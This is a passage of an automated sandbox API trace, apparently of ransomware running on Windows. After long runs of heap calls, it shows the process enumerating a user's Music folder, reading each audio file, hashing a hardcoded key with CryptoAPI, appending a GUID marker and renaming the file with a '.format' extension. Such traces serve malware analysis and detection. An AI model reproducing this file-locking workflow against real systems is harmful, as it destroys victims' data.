dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.450] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.451] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\") returned="Ub2krgPHTK7\\" [0068.452] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0068.452] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0068.452] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.452] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.452] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.452] PathFindFileNameW (pszPath="") returned="" [0068.452] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d714660, ftCreationTime.dwHighDateTime=0x1d4d1ae, ftLastAccessTime.dwLowDateTime=0x342aac50, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x342aac50, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.452] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d714660, ftCreationTime.dwHighDateTime=0x1d4d1ae, ftLastAccessTime.dwLowDateTime=0x342aac50, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x342aac50, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.452] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9db740, ftCreationTime.dwHighDateTime=0x1d4c72f, ftLastAccessTime.dwLowDateTime=0x8292e670, ftLastAccessTime.dwHighDateTime=0x1d4cb29, ftLastWriteTime.dwLowDateTime=0x8292e670, ftLastWriteTime.dwHighDateTime=0x1d4cb29, nFileSizeHigh=0x0, nFileSizeLow=0xca2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J_UJZySwifcC8f7CH.wav", cAlternateFileName="J_UJZY~1.WAV")) returned 1 [0068.452] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\J_UJZySwifcC8f7CH.wav") returned=".wav" [0068.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\J_UJZySwifcC8f7CH.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\j_ujzyswifcc8f7ch.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.452] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=3234) returned 1 [0068.452] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.455] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.455] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.456] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xca2, lpOverlapped=0x0) returned 1 [0068.456] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.456] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.456] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.456] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.457] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.457] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.457] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.457] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.457] GetLastError () returned 0x0 [0068.457] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.457] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.457] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.457] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xca2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.457] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.457] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.457] CloseHandle (hObject=0x5c8) returned 1 [0068.459] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\J_UJZySwifcC8f7CH.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\j_ujzyswifcc8f7ch.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\J_UJZySwifcC8f7CH.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\j_ujzyswifcc8f7ch.wav.format")) returned 1 [0068.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.459] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.460] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.460] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x129a0740, ftCreationTime.dwHighDateTime=0x1d4d0fb, ftLastAccessTime.dwLowDateTime=0x73636860, ftLastAccessTime.dwHighDateTime=0x1d4d46f, ftLastWriteTime.dwLowDateTime=0x73636860, ftLastWriteTime.dwHighDateTime=0x1d4d46f, nFileSizeHigh=0x0, nFileSizeLow=0x9b5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TZ8kXrTE.mp3", cAlternateFileName="")) returned 1 [0068.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\TZ8kXrTE.mp3") returned=".mp3" [0068.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\TZ8kXrTE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\tz8kxrte.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.461] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=39774) returned 1 [0068.461] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.463] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x9b38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.463] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.464] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x9b5e, lpOverlapped=0x0) returned 1 [0068.464] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.464] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.464] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.464] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.465] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.465] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.465] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.465] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.465] GetLastError () returned 0x0 [0068.465] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.465] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.466] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x9b5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.466] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.466] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.466] CloseHandle (hObject=0x5c8) returned 1 [0068.467] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\TZ8kXrTE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\tz8kxrte.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\TZ8kXrTE.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\tz8kxrte.mp3.format")) returned 1 [0068.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.469] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.470] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.470] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a6fd0, ftCreationTime.dwHighDateTime=0x1d4c8f9, ftLastAccessTime.dwLowDateTime=0xb30a2d00, ftLastAccessTime.dwHighDateTime=0x1d4cff6, ftLastWriteTime.dwLowDateTime=0xb30a2d00, ftLastWriteTime.dwHighDateTime=0x1d4cff6, nFileSizeHigh=0x0, nFileSizeLow=0x1abc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XZFs9ja.m4a", cAlternateFileName="")) returned 1 [0068.470] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\XZFs9ja.m4a") returned=".m4a" [0068.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\XZFs9ja.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\xzfs9ja.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.471] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=6844) returned 1 [0068.471] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.473] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1a96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.473] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.474] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1abc, lpOverlapped=0x0) returned 1 [0068.474] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.474] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.474] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.474] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.475] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.475] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.475] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.475] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.475] GetLastError () returned 0x0 [0068.475] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.475] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.475] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1abc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.475] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.475] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.476] CloseHandle (hObject=0x5c8) returned 1 [0068.476] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\XZFs9ja.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\xzfs9ja.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\Ub2krgPHTK7\\XZFs9ja.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\ub2krgphtk7\\xzfs9ja.m4a.format")) returned 1 [0068.477] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.477] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.478] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a6fd0, ftCreationTime.dwHighDateTime=0x1d4c8f9, ftLastAccessTime.dwLowDateTime=0xb30a2d00, ftLastAccessTime.dwHighDateTime=0x1d4cff6, ftLastWriteTime.dwLowDateTime=0xb30a2d00, ftLastWriteTime.dwHighDateTime=0x1d4cff6, nFileSizeHigh=0x0, nFileSizeLow=0x1abc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XZFs9ja.m4a", cAlternateFileName="")) returned 0 [0068.478] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175418 | out: hHeap=0x5d0000) returned 1 [0068.478] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.478] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.478] 